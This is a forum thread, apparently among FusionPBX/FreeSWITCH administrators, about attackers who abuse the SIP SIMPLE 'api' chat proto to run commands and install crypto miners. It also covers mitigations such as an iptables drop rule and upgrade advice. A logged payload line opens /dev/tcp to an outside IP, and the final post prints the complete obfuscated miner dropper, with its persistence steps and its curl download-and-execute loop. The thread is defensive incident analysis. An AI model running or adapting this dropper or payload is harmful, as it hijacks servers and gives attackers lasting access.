Crypto Hacking Attempts going on now!!

Thanks for the alert! We still had an old, inherited, Fusion box (don't laugh, FS 1.6 still) running that was more or less forgotten about with a handful of customer. Have just hammered it shut and will move the few customers over asap. I think I got there in time.
 
I do not think that simply disabling chat and enabling authorization is the solution. Also, if your service requires SIP SIMPLE for chat, you will kill the service altogether, including on a fresh installation.

The malware is still there. They are simply running it through the API.

The malware needs to be cleaned up first, and a custom guard should be implemented for the API instead of disabling it. Upgrading does not clean the server, nor does disabling the API remove the malware.

But even then, the question remains: how did they install the malware in the first place?

If anyone has complete server logs covering the period from August 2026 to the present and would be willing to share them for security analysis, please let me know.

Finding the source of the malware files is more important. The API is simply being used to run them. I do not think the API is the source of the initial installation.

Of course do not share it publicly. If you can anonymize them would be wonderful. I cannot accept, and you should not give server credentials and customer data publicly.
 
Last edited:
The api IS being used to download the files, if I remember rightly it executes some sort of curl command that pulls down the files, this also changes from time to time in what it does, I'll see if I can find the logs.

What the script also does is sets up a cronjob under the user www-data so you need to get rid of that.

Check: crontab -u www-data -l
 
Yes. Yesterday, I was helping a friend, and I found everything through the crontab. That led me to discover the malware installations, quarantine them, and implement an API guard in the chatplan so that it rejects API requests without requiring us to disable chat or enable authorization.

Everything looks clean now, but the problem is that I still don't know how they got in because the logs were deleted by their own scheduled tasks. If you think they got in through the API, that is actually good news, since that route is now blocked.

Another question is: if they could install whatever they wanted, how come they didn't do the things I don't want to name here? Instead, they just tried to use the server for mining, which would only earn them a few cents a day on a CPU.

And I would like to clarify this once again. What FreeSWITCH has done, in my opinion, is irresponsible. All they have done is change a setting. This is not version-related. Any server with unauthenticated SIP SIMPLE enabled is vulnerable.

They should have provided a patch that disables API execution through SIP SIMPLE, limits its capabilities, or adds IP-based authentication for incoming requests. There are too many ways this could have been handled properly. A new version simply means that the setting is disabled by default.

And thank you again for always being there for us. I cannot tell you how much I appreciate your efforts over all these years. I look forward to seeing the logs, as I am both very curious and upset about this. I don't take security lightly, especially in telecommunications.

Also, may I ask you to change the title of this conversation by adding keywords such as “crash,” “high CPU,” and similar terms, so that more people can find it?

I found this convetsation only after I had already discovered the malware, identified the crypto mining, and been asked for help. Someone who is simply puzzled by what is happening is unlikely to find this conversation.

I believe this is a public safety matter, so making the discussion easier to discover could help others recognize the issue much sooner.
 
Last edited:
Code:
Processing text message default->api+system%20command%20-v%20bash%3E/dev/null&&timeout%205%20bash%20-c%20'exec%203%3C%3E/dev/tcp/77.73.70.190/33375;exec%203%3E&-'%202%3E/dev/
 
Yes. Yesterday, I was helping a friend, and I found everything through the crontab. That led me to discover the malware installations, quarantine them, and implement an API guard in the chatplan so that it rejects API requests without requiring us to disable chat or enable authorization.

Everything looks clean now, but the problem is that I still don't know how they got in because the logs were deleted by their own scheduled tasks. If you think they got in through the API, that is actually good news, since that route is now blocked.

Another question is: if they could install whatever they wanted, how come they didn't do the things I don't want to name here? Instead, they just tried to use the server for mining, which would only earn them a few cents a day on a CPU.

And I would like to clarify this once again. What FreeSWITCH has done, in my opinion, is irresponsible. All they have done is change a setting. This is not version-related. Any server with unauthenticated SIP SIMPLE enabled is vulnerable.

They should have provided a patch that disables API execution through SIP SIMPLE, limits its capabilities, or adds IP-based authentication for incoming requests. There are too many ways this could have been handled properly. A new version simply means that the setting is disabled by default.

And thank you again for always being there for us. I cannot tell you how much I appreciate your efforts over all these years. I look forward to seeing the logs, as I am both very curious and upset about this. I don't take security lightly, especially in telecommunications.

Also, may I ask you to change the title of this conversation by adding keywords such as “crash,” “high CPU,” and similar terms, so that more people can find it?

I found this convetsation only after I had already discovered the malware, identified the crypto mining, and been asked for help. Someone who is simply puzzled by what is happening is unlikely to find this conversation.

I believe this is a public safety matter, so making the discussion easier to discover could help others recognize the issue much sooner.
Hi John, keep in mind that freeswitch disclosed the API Message Vulnerability in October 2021, the product is open source and as such is also down to us users to be on top things such as this. They did hard code after version 1.10.7 SIP message authentication to True (auth-message) and chat false, you have to specifically set disable-auth-message to override that default option in sofia profiles since the patched version released on October 2021. The 2 users that initiated this thread were running insanely old Freeswitch and debian version WAY past EOL. Can you provide the OS, Freeswitch and Fusionpbx Version of the affected servers you worked on, as you stated this affects any version of freeswitch? Thanks, kind regards,
 
Last edited:
Hi John, keep in mind that freeswitch disclosed the API Message Vulnerability in October 2021, the product is open source and as such is also down to us users to be on top things such as this. They did hard code after version 1.10.7 SIP message authentication to True (auth-message) and chat false, you have to specifically set disable-auth-message to override that default option in sofia profiles since the patched version released on October 2021. The 2 users that initiated this thread were running insanely old Freeswitch and debian version WAY past EOL. Can you provide the OS, Freeswitch and Fusionpbx Version of the affected servers you worked on, as you stated this affects any version of freeswitch? Thanks, kind regards,
Hi Henry,

The affected user was running the latest version of everything. Many providers do not use authentication for SIP SIMPLE message delivery, and not everyone uses API-based messaging. Disabling SIP SIMPLE messaging therefore results in a permanent outage for those users.

The solution should have been to implement proper safeguards for the API from the start, rather than simply disabling SIP SIMPLE messaging or forcing authentication. This is similar to requiring authentication for incoming calls, which many providers do not support.

They should have implemented an IP whitelist or another appropriate security control as the same as incoming calls. Simply disabling the functionality was the laziest possible solution. This is a core functionality not a nice to have.

Sincerely
 
Hi Henry,

The affected user was running the latest version of everything. Many providers do not use authentication for SIP SIMPLE message delivery, and not everyone uses API-based messaging. Disabling SIP SIMPLE messaging therefore results in a permanent outage for those users.

The solution should have been to implement proper safeguards for the API from the start, rather than simply disabling SIP SIMPLE messaging or forcing authentication. This is similar to requiring authentication for incoming calls, which many providers do not support.

They should have implemented an IP whitelist or another appropriate security control as the same as incoming calls. Simply disabling the functionality was the laziest possible solution. This is a core functionality not a nice to have.

Sincerely
Ok, I understand, I just want it to be clear for other readers also "The affected user was running the latest version of everything." and "The solution should have been to implement proper safeguards for the API from the start, rather than simply disabling SIP SIMPLE messaging or forcing authentication. This is similar to requiring authentication for incoming calls, which many providers do not support." So sounds like auth-message / chat was disabled to make it work with the providers you use. auth-message ensures the user is authenticated by checking the registered user, like calls, register, subscribe, etc... so it literally does do what it says, I do agree that ACLs is a good route (Production/Enterprise Freeswitch version is months ahead than the open source freeswitch so maybe they have done this already), you can see the code for yourself on Github AND Freeswitch disclosed this 5 years ago. If a specific carrier/provider cant provide end to end authentication then its best to look elsewhere. @DigitalDaz are you able to share some wisdom on this, as I may be completely wrong from my understanding. Thanks. Kind regards,
 
What I can see that seems to be the recent discovery is that this api could be used to execute commands on the OS. Even with the auth in place, that would imply a malicious user could do the same. ie sign up for your service and then send the bad message, I think the new freeswitch prevents that but I haven't looked into it yet.

I have managed to check some logs on a couple of my old boxes, test ones etc that have never been updated and see some worrying stuff.

I know a lot of people will still be running old stuff.

I can see in one of them that they catted out the freeswitch xml directories to get passwords etc.

Thankfully, we store it in the DB on fusionPBX but that doesn't mean they haven't hit the DB too.

This is very serious and anyone with old stuff should be very aware of it.

These ip tables rules may be a quick sticking plaster to help until you can make other improvements:

Code:
-A INPUT -p udp -m udp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP
-A INPUT -p tcp -m tcp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP
 
  • Like
Reactions: John
What I can see that seems to be the recent discovery is that this api could be used to execute commands on the OS. Even with the auth in place, that would imply a malicious user could do the same. ie sign up for your service and then send the bad message, I think the new freeswitch prevents that but I haven't looked into it yet.

I have managed to check some logs on a couple of my old boxes, test ones etc that have never been updated and see some worrying stuff.

I know a lot of people will still be running old stuff.

I can see in one of them that they catted out the freeswitch xml directories to get passwords etc.

Thankfully, we store it in the DB on fusionPBX but that doesn't mean they haven't hit the DB too.

This is very serious and anyone with old stuff should be very aware of it.

These ip tables rules may be a quick sticking plaster to help until you can make other improvements:

Code:
-A INPUT -p udp -m udp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP
-A INPUT -p tcp -m tcp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP
OK, thank you @DigitalDaz for the update. Would you be able to show what commands and places people should be checking on their servers? Also if TLS is in use the user agent wont show, so wont be blocked @markjcrane I know you keep an eye on the forum so was wondering if you have any insight or of the customers that have called in in the last 2 weeks. thank you. Kind regards.
 
Ok, I understand, I just want it to be clear for other readers also "The affected user was running the latest version of everything." and "The solution should have been to implement proper safeguards for the API from the start, rather than simply disabling SIP SIMPLE messaging or forcing authentication. This is similar to requiring authentication for incoming calls, which many providers do not support." So sounds like auth-message / chat was disabled to make it work with the providers you use. auth-message ensures the user is authenticated by checking the registered user, like calls, register, subscribe, etc... so it literally does do what it says, I do agree that ACLs is a good route (Production/Enterprise Freeswitch version is months ahead than the open source freeswitch so maybe they have done this already), you can see the code for yourself on Github AND Freeswitch disclosed this 5 years ago. If a specific carrier/provider cant provide end to end authentication then its best to look elsewhere. @DigitalDaz are you able to share some wisdom on this, as I may be completely wrong from my understanding. Thanks. Kind regards,
I suggest taking a look into SIP SIMPLE. Maybe you will teach me something new about it or who knows maybe you will learn something new about it. Regardless, this is a serious issue.
 
Correction to my post #26 first. I said 1.10.7 hard-coded auth-messages=true and enable-chat=false. The first half is right, the second isn't — my mistake. enable-chat still defaults to true in every release including 1.11.3 (sofia_set_pflag(profile, PFLAG_ENABLE_CHAT) sits in the default profile block in sofia.c). Only auth-messages changed in 1.10.7. So nobody should assume chat is already off on their box — go and check it.
What 1.11.3 actually changed. Three of its six release notes are this issue:
  • [mod_sofia] Add enable-chat-api-proto to gate the api chat proto
  • [mod_verto] same gate on the verto path
  • [mod_sofia] Bound the To-user split in the inbound MESSAGE handler
The gate defaults to off, and the check is proto == "api" only, evaluated after authentication. It does not disable SIP SIMPLE messaging — a MESSAGE to api+ gets 403 Forbidden and a log line naming the sender, everything else about chat keeps working. @John I think that covers your objection: the API-specific safeguard you're asking for is what shipped, it just wasn't described clearly in the release notes. There's also an interface allowlist in 1.11.2 (<interface-allowlist> in switch.conf.xml) if you want per-command control. So upgrade freeswitch ASAP to the latest version is my recommendation. Fusionpbx script can make this painless within 10 minutes: Marks post - https://www.pbxforums.com/threads/freeswitch-1-11-3.9281/
 
  • Like
Reactions: John
@DigitalDaz Ive ran test against the Iptables Rule drop and it works as intended until people can upgrade there freeswitch instances (As long as the rule placement is above RELATED or ESTABLISHED rules), Note - It does NOT protect you over TLS profiles. Thanks for that message.
 
  • Like
Reactions: DigitalDaz and John
If anyone is interested, this is the cryptominer cronjob that gets installed:

Code:
#!/bin/sh
bg() {
    _bg_cmd="$1"
    if command -v setsid >/dev/null 2>&1; then
        setsid sh -c "$_bg_cmd" >/dev/null 2>&1 &
    elif command -v nohup >/dev/null 2>&1; then
        nohup sh -c "$_bg_cmd" >/dev/null 2>&1 &
    else
        sh -c "$_bg_cmd" >/dev/null 2>&1 &
    fi
}
INSTALL_DIR="/var/tmp"
_URL_HEX_K=" 68747470733a2f2f636861746770742e6c6f676c746563682e73746f72652f696d672f63616368652f323032362f30382f 68747470733a2f2f7368646573617364642e6c6f676c746563682e776f726b6572732e6465762f696d672f63616368652f323032362f30382f 68747470733a2f2f61692e6170616368656e67696e782e72752f6173736574732f666f6e74732f776f6666322f 687474703a2f2f38372e3232392e36342e34392f7374617469632f6a732f76656e646f722f 687474703a2f2f3231372e3135312e39392e3231362f77702d636f6e74656e742f75706c6f6164732f323032362f30382f"
URLS_K=""
for _hx in $_URL_HEX_K; do
    _dec=""
    if command -v python3 >/dev/null 2>&1; then
        _dec=$(python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" "$_hx" 2>/dev/null)
    elif command -v python >/dev/null 2>&1; then
        _dec=$(python -c "import sys;print(sys.argv[1].decode('hex'))" "$_hx" 2>/dev/null)
    elif command -v xxd >/dev/null 2>&1; then
        _dec=$(echo "$_hx" | xxd -r -p 2>/dev/null)
    elif command -v perl >/dev/null 2>&1; then
        _dec=$(echo "$_hx" | perl -pe 's/(..)/chr(hex($1))/ge' 2>/dev/null)
    else
        _dec=$(echo "$_hx" | sed 's/\(..\)/\\x\1/g' | xargs printf '%b' 2>/dev/null)
    fi
    [ -n "$_dec" ] && URLS_K="$URLS_K $_dec"
done
unset _URL_HEX_K _hx _dec
_t="/var/tmp/.khp_ts"
_n=$(date +%s 2>/dev/null)
for _d in /proc/[0-9]*; do
    _pid=${_d
    _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
    case "$_exe" in
        *ssl-compet*|*sslmon*|*mnmonitor*|*cpuhide*|*.gt_sys_health*|*.gt_sys_wd*|*.gt_cron_health*|*esocket4*|*universal-miner*|*unicorn*)
            kill -9 "$_pid" 2>/dev/null ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=${_d
    _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null) || continue
    case "$_cmd" in
        "[kworker"*|"[kswapd"*|"[kblockd"*|"[khugepaged"*|"[kdevtmpfs"*|"[kcompactd"*|"[watchdog"*|"[ksoftirqd"*)
            _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
            [ -n "$_uid" ] && [ "$_uid" != "0" ] && kill -9 "$_pid" 2>/dev/null ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=${_d
    _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
    [ -n "$_uid" ] && [ "$_uid" = "0" ] && continue
    _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
    _cwd=$(readlink "$_d/cwd" 2>/dev/null)
    case "$_exe|$_cwd" in
        *deleted*)
            _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null)
            case "$_cmd" in
                *javab*|*ksmd*|*idle*|*.khp*|*.rguard*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
                    :
                    ;;
                *)
                    kill -9 "$_pid" 2>/dev/null
                    ;;
            esac
            continue
            ;;
    esac
    _w=0
    for _dd in /dev/shm /dev/sdhm /var/tmp /tmp /run /var/run /var/lib; do
        case "$_exe" in
            "$_dd"/*) _w=1 ;;
        esac
    done
    [ "$_w" = "1" ] || continue
    _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null)
    case "$_cmd" in
        *javab*|*ksmd*|*idle*|*.khp*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
            :
            ;;
        *)
            kill -9 "$_pid" 2>/dev/null
            rm -f "$_exe" 2>/dev/null
            ;;
    esac
done
pkill -9 -f 'gt_sys_wd' 2>/dev/null
pkill -9 -f 'ssl-compet' 2>/dev/null
pkill -9 -f 'mnmonitor' 2>/dev/null
pkill -9 -f 'cpuhide' 2>/dev/null
if ! pgrep -f ".rguard" >/dev/null 2>&1; then
    bg "\"/var/tmp/.rguard\""
fi
if ! pgrep -f "/var/tmp/idle" >/dev/null 2>&1; then
    [ -x "/var/tmp/idle" ] && bg "sh /var/tmp/idle javab /var/tmp/javab"
fi
if [ "$IS_ROOT" = "1" ] && command -v systemctl >/dev/null 2>&1 && [ -d /etc/systemd/system ]; then
    systemctl is-enabled javab.service >/dev/null 2>&1 || systemctl enable javab.service 2>/dev/null
    systemctl is-active javab.service >/dev/null 2>&1 || systemctl start javab.service 2>/dev/null
elif [ "$IS_ROOT" != "1" ] && command -v systemctl >/dev/null 2>&1; then
    systemctl --user is-enabled javab.service >/dev/null 2>&1 || systemctl --user enable javab.service 2>/dev/null
    systemctl --user is-active javab.service >/dev/null 2>&1 || systemctl --user start javab.service 2>/dev/null
    loginctl enable-linger $(whoami) 2>/dev/null || true
elif [ "$IS_ROOT" = "1" ] && [ -d /etc/init.d ]; then
    [ -x /etc/init.d/javab ] || {
        cat > /etc/init.d/javab << 'INITSELFEOF'
#!/bin/sh
case "" in
start) nohup sh "/var/tmp/.khp" >/dev/null 2>&1 & ;;
stop) pkill -f "/var/tmp/.khp" 2>/dev/null ;;
*) exit 0 ;;
esac
INITSELFEOF
    chmod +x /etc/init.d/javab 2>/dev/null
    update-rc.d javab defaults 2>/dev/null
    }
fi
crontab -l 2>/dev/null | grep -F "/var/tmp/.khp" >/dev/null 2>&1 || { crontab -l 2>/dev/null; echo "* * * * * /var/tmp/.khp"; } | crontab - 2>/dev/null
rm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json 2>/dev/null
rm -rf /dev/shm/.xmon-112 /dev/shm/.xmon* /tmp/.xmon* /var/tmp/.xmon* 2>/dev/null
find /root /home /tmp /var/tmp /dev/shm -maxdepth 5 -name "mnmonitor.sh" -exec rm -f {} \; 2>/dev/null
if [ ! -x "/var/tmp/idle" ] || [ ! -x "/var/tmp/javab" ]; then

    for _ku in $URLS_K; do
        [ -n "$_ku" ] || continue
        curl -fsSLk --connect-timeout 10 --max-time 60 "$_ku/ksmd" -o "/var/tmp/ksmd" 2>/dev/null
        [ -s "/var/tmp/ksmd" ] && break
    done
    if [ -s "/var/tmp/ksmd" ]; then
        cd "/var/tmp" && sh ksmd
    fi
    exit 0
fi
[ -n "$_n" ] && [ -f "$_t" ] && [ $(($_n - $(cat "$_t" 2>/dev/null))) -lt 7200 ] && exit 0
echo "$_n" > "$_t" 2>/dev/null

    for _ku in $URLS_K; do
        [ -n "$_ku" ] || continue
        curl -fsSLk --connect-timeout 10 --max-time 60 "$_ku/ksmd" -o "/var/tmp/ksmd" 2>/dev/null
        [ -s "/var/tmp/ksmd" ] && break
    done
if [ -s "/var/tmp/ksmd" ]; then
    cd "/var/tmp" && sh ksmd
fi